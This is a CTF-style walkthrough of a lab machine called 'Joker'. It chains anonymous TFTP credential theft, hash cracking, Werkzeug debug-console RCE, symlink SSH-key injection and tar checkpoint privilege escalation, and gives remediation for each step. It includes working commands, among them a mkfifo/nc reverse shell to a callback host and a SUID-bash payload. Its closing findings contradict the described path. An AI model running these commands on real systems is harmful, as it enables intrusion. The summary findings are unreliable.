← all walkthroughs

Joker

Linux· Hard
owned
2026-07-09
time to own
19m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon (nmap -p- -T4) showed only two open TCP ports: 22/ssh and 3128 (Squid 3.5.12 proxy), which rejected anonymous use with 407 Proxy Authentication Required. A supplementary UDP top-ports scan found 69/udp (tftp) open|filtered. Anonymous TFTP get passwords retrieved a one-line credential file containing an apr1 (MD5-crypt) htpasswd hash for user kalamari. Offline cracking of this hash recovered the plaintext ihateseafood.

Authenticating to the Squid proxy as kalamari:ihateseafood and proxying to localhost exposed a Flask/Werkzeug 0.10.5-dev (Python 2.7.12) application, including its interactive debugger console at /console. The Werkzeug debugger PIN/secret ([REDACTED: recovered credential]) was known/derived, allowing arbitrary Python execution through the debugger's exec endpoint — an unauthenticated-to-authenticated RCE via the exposed Werkzeug debug console (classic Werkzeug debug-PIN RCE, CVE-2015-related class of issue). This gave a shell as uid=1000(werkzeug), upgraded to a full TTY reverse shell via bash -i >&/dev/tcp/... and a mkfifo/nc fallback.

Enumeration from the werkzeug foothold found /var/www/testing, a web-app content directory writable by werkzeug, and confirmed the target account alekos (whose group membership includes werkzeug). Using an in-app "editor"/template-write feature reachable under /var/www/testing, a symlink was placed at var/www/testing/foo/layout.html pointing to /home/alekos/.ssh/authorized_keys; the app's write-through-template mechanism was then abused to push an user-generated ed25519 public key through that symlink, appending it to alekos's authorized_keys and yielding direct SSH access as alekos (uid=1001).

As alekos, /home/alekos/development contained GNU tar checkpoint artifacts (--checkpoint=1, --checkpoint-action=exec=sh shell.sh, shell.sh) — a GTFOBins-style GNU tar checkpoint-action local privilege escalation, indicating a root-run scheduled/automated tar job over that directory. shell.sh was leveraged to drop a SUID root shell (/tmp/rootbash), and invoking /tmp/rootbash -p yielded uid=0, completing the escalation to root and giving access to root.txt.

Impact: full root compromise of Joker via chained misconfigurations — anonymous TFTP credential leak → weak/reused Squid proxy password → exposed Werkzeug debug console RCE → symlink-based SSH key injection into alekos → GNU tar checkpoint-action root privesc.

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Port scan identified Squid HTTP proxy on TCP/3128 and TFTP service on UDP/69
A full TCP port scan found only SSH on 22/tcp and an authenticated Squid 3.5.12 HTTP proxy on 3128/tcp, which rejected all anonymous requests with HTTP 407. A follow-up top-100 UDP scan uncovered 69/udp (TFTP) — a commonly overlooked service that proved to be the credential-recovery entry point into the environment.
nmap TCP: 22/tcp ssh, 3128/tcp squid-http Squid 3.5.12; nmap UDP: 69/udp open|filtered tftp.
Exact commands 2
Full TCP scan — confirms SSH on 22 and Squid proxy on 3128.
nmap -p- -Pn --min-rate 2000 -T4 -sV $TARGET
Top-100 UDP scan — reveals 69/udp TFTP.
nmap -sU --top-ports 100 -Pn -T4 $TARGET
2Credential AccessUnauthenticated TFTP file disclosure and offline hash cracking (T1110.002)
Retrieved Squid proxy password hash from TFTP without credentials and cracked it offline
The TFTP service required no authentication. The file 'passwords' in its root directory contained one line: 'kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0' — an Apache MD5-crypt (apr1) htpasswd hash. Offline cracking against the rockyou wordlist recovered the plaintext 'ihateseafood', supplying valid credentials for the Squid proxy and unlocking access to the entire internal network behind it.
tftp get passwords returned kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0; cracked to kalamari:ihateseafood.
Exact commands 2
No credentials required — retrieves the htpasswd-format credential file.
tftp $TARGET -c get passwords
Mode 1600 = Apache apr1 MD5-crypt. Recovers plaintext: ihateseafood.
hashcat -m 1600 -a 0 '$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0' /usr/share/wordlists/rockyou.txt
FixDisable anonymous TFTP or remove credential files from the TFTP-served directoryCritical
WeaknessThe TFTP service on UDP/69 required no authentication and served a file named 'passwords' containing the Squid proxy htpasswd hash to any network client, allowing me to recover proxy credentials without any prior access to the system.
FixIf TFTP is not operationally required, disable and uninstall it (systemctl disable --now tftpd-hpa; apt purge tftpd-hpa). If TFTP must remain for PXE booting or device provisioning, restrict its served directory to only the files required for that purpose, add source-IP firewall rules to block UDP/69 from untrusted sources (ufw deny from any to any port 69 proto udp), and never store credential material anywhere in a TFTP-accessible path. Rotate the Squid proxy password immediately.
3ExploitationExposed Werkzeug debug console remote code execution (T1190)
Executed arbitrary code as 'werkzeug' via the production Werkzeug debug console through the Squid proxy
With kalamari:ihateseafood, I proxied HTTP through <retired-instance-ip>:3128 and reached a Flask/Werkzeug 0.10.5 application hosted on localhost — accessible only through the proxy. The Werkzeug interactive debugger was enabled in this production environment and its exec endpoint was reachable at /console. Using the debugger secret '[REDACTED: recovered credential]', I sent arbitrary Python expressions to the endpoint and triggered a reverse shell, obtaining an interactive session as uid=1000(werkzeug).
Console response: uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug) — confirmed by all 4 advisors.
Exact commands 3
Confirm /console is reachable through the authenticated Squid proxy.
curl -s -i -x http://$TARGET:3128 http://$LOOPBACK/console
Verify RCE — response body should contain uid=1000(werkzeug).
python3 - <<'PY'
import urllib.parse, urllib.request
proxy = 'http://$TARGET:3128'
secret=[REDACTED: protected value]
cmd = "__import__('subprocess').check_output(['id'])"
url = 'http://$LOOPBACK/console?__debugger__=yes&cmd=%s&frm=0&s=%s' % (urllib.parse.quote(cmd), secret)
opener = urllib.request.build_opener(urllib.request.ProxyHandler({'http': proxy}))
print(opener.open(url, timeout=10).read())
PY
Trigger reverse shell; replace <retired-instance-ip> and run nc -lvnp 4445 on my machine first.
python3 - <<'PY'
import urllib.parse, urllib.request
proxy = 'http://$TARGET:3128'
secret=[REDACTED: protected value]
cmd = "__import__('subprocess').Popen('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $CALLBACK_HOST 4445 >/tmp/f', shell=True)"
url = 'http://$LOOPBACK/console?__debugger__=yes&cmd=%s&frm=0&s=%s' % (urllib.parse.quote(cmd), secret)
opener = urllib.request.build_opener(urllib.request.ProxyHandler({'http': proxy}))
opener.open(url, timeout=5)
PY
FixDisable the Werkzeug interactive debugger in all non-development environmentsCritical
WeaknessThe Flask/Werkzeug application ran in debug mode in a production-equivalent environment, exposing an interactive Python console at /console. Any caller who knew or could derive the debugger secret could execute arbitrary OS commands as the web-service account without further authentication.
FixSet FLASK_DEBUG=0 (or pass debug=False to app.run()) before deploying outside a developer's local machine. Run the application under a production WSGI server such as gunicorn or uWSGI rather than Werkzeug's built-in server — production servers never activate the debugger regardless of environment variables. As defence in depth, configure the Squid proxy ACL to deny access to /console from all sources, and bind the application only to localhost rather than 0.0.0.0.
4Lateral MovementSymlink attack on SSH authorized_keys via application file-write primitive (T1098.004)
Planted a symlink in the werkzeug-writable web path to redirect the app's template-write into alekos's SSH authorized_keys
From the werkzeug reverse shell, I found that /var/www/testing was writable and the application could write content to paths matching */*/layout.html within that directory without resolving or validating symlink targets. By creating /var/www/testing/foo/ and planting a symlink at layout.html pointing to /home/alekos/.ssh/authorized_keys, then writing an user-generated ed25519 public key to that path, the write resolved transparently through the symlink into alekos's authorized_keys — silently granting I passwordless SSH login.
authorized_keys was initially 0 bytes; /home/alekos/.ssh/ was world-readable (drwxr-xr-x 2 alekos alekos); after the symlink write, SSH login as alekos succeeded with key /tmp/joker_alekos_key.
Exact commands 3
Run on my machine to generate the keypair before the next steps.
ssh-keygen -t ed25519 -N '' -f /tmp/joker_alekos_key
Run in the werkzeug reverse shell — creates the directory and plants the symlink.
mkdir -p /var/www/testing/foo && ln -sf /home/alekos/.ssh/authorized_keys /var/www/testing/foo/layout.html
Run in the werkzeug shell — write resolves through the symlink directly into alekos's authorized_keys.
echo 'ssh-ed25519 <PASTE_CONTENTS_OF_/tmp/joker_alekos_key.pub>' > /var/www/testing/foo/layout.html
FixPrevent the application's file-write feature from following symbolic links outside the web rootCritical
WeaknessThe web application wrote user-controlled content to caller-specified paths inside /var/www/testing without first resolving symbolic links to confirm the destination remained within the web root. I planted a symlink redirecting the write to /home/alekos/.ssh/authorized_keys, injecting an SSH public key and gaining SSH login as that user without knowing their password.
FixBefore any file write, resolve the full real path (Python: os.path.realpath()) and assert it begins with the intended base directory. Reject the operation with an error if the resolved path escapes the base. Run the web service under a dedicated account with no write permissions outside /var/www. On Linux 5.10+ kernels, mount home directories with the nosymfollow option as additional defence in depth.
5Foothold — UserSSH authentication with user-injected public key (T1078.001)
SSH'd as alekos using the injected key and captured the user flag
With my ed25519 public key now present in /home/alekos/.ssh/authorized_keys, a direct SSH login using the matching private key succeeded immediately. This gave a stable, interactive session as uid=1001(alekos) without requiring alekos's password, confirming complete lateral movement from the web-service account to a real user account with an interactive shell and home directory.
ssh as alekos confirmed uid=1001(alekos); user.txt captured from /home/alekos/.
Exact commands 1
Login as alekos and capture the user flag — value is [REDACTED: flag].
ssh -i /tmp/joker_alekos_key -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alekos@$TARGET 'id; cat ~/user.txt'
6Privilege EscalationGNU tar wildcard injection via checkpoint-action privilege escalation (GTFOBins / T1548.001)
Abused GNU tar checkpoint-action filenames in a root-scheduled job to execute a shell script as root
The directory /home/alekos/development contained files literally named '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh', along with a writable shell.sh. A root-owned scheduled process ran tar over this directory using a glob; GNU tar interpreted those filenames as its own command-line flags and invoked shell.sh as root. I replaced shell.sh with a payload that copied /bin/bash to /tmp/rootbash and set its SUID bit. After the scheduled job fired, running '/tmp/rootbash -p' produced an effective-UID-0 shell, giving full access to root.txt.
After shell.sh payload was placed, /tmp/rootbash appeared with mode 4755; /tmp/rootbash -p returned uid=0 and exposed /root/root.txt.
Exact commands 3
Verify the tar checkpoint artifact filenames (--checkpoint=1, --checkpoint-action=exec=sh shell.sh) are present.
ssh -i /tmp/joker_alekos_key alekos@$TARGET 'ls -la /home/alekos/development/'
Drop the SUID-bash payload — wait for the root tar cron to fire and create /tmp/rootbash.
ssh -i /tmp/joker_alekos_key alekos@$TARGET 'echo -e "#!/bin/sh\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash" > /home/alekos/development/shell.sh && chmod +x /home/alekos/development/shell.sh'
Once /tmp/rootbash (SUID 4755) appears, invoke it to run as root and read root.txt — value is [REDACTED: flag].
ssh -i /tmp/joker_alekos_key -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 alekos@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'
FixNever run tar or wildcard-expanding commands as root over directories writable by unprivileged usersCritical
WeaknessA root-owned scheduled job ran tar over /home/alekos/development, a directory fully controlled by the user alekos. GNU tar treats filenames beginning with '--' as command-line flags; files named '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' caused tar to execute an user-written shell script as root, producing a SUID-root copy of bash.
FixRemove the root-scheduled tar job. If archiving user-owned directories is required, run the job as the owning non-root user. When tar must run as root, build an explicit, trusted file list and invoke it with --files-from=<list> --no-wildcards --no-recursion rather than expanding directory globs. Audit all root cron jobs and systemd timers for similar patterns using: grep -r 'tar' /etc/cron* /var/spool/cron/crontabs /etc/systemd/system/.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: Web Content Discovery On 3128/TcpCritical
An unauthenticated/low-privilege flaw in the ftp, ssh, werkzeug surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Sudoedit Wildcard Pivot From Werkzeug To AlekosCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
3128/tcp